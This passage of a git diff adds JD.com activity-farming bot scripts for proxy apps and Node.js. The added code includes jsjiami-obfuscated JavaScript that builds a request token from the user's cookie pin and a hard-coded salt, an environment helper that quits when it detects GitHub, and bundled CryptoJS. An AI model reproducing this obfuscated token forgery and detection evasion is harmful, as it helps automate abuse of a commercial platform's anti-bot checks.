_0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_cfd_mooncake.js b/jd_cfd_mooncake.js new file mode 100644 index 0000000..430a412 --- /dev/null +++ b/jd_cfd_mooncake.js @@ -0,0 +1,909 @@ +/* +京喜财富岛合成月饼 +cron 5 * * * * jd_cfd_mooncake.js +更新时间:2021-9-11 +活动入口:京喜APP-我的-京喜财富岛 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛合成月饼 +5 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_mooncake.js, tag=京喜财富岛合成月饼, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "5 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_mooncake.js,tag=京喜财富岛合成月饼 + +===============Surge================= +京喜财富岛合成月饼 = type=cron,cronexp="5 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_mooncake.js + +============小火箭========= +京喜财富岛合成月饼 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_mooncake.js, cronexpr="5 * * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 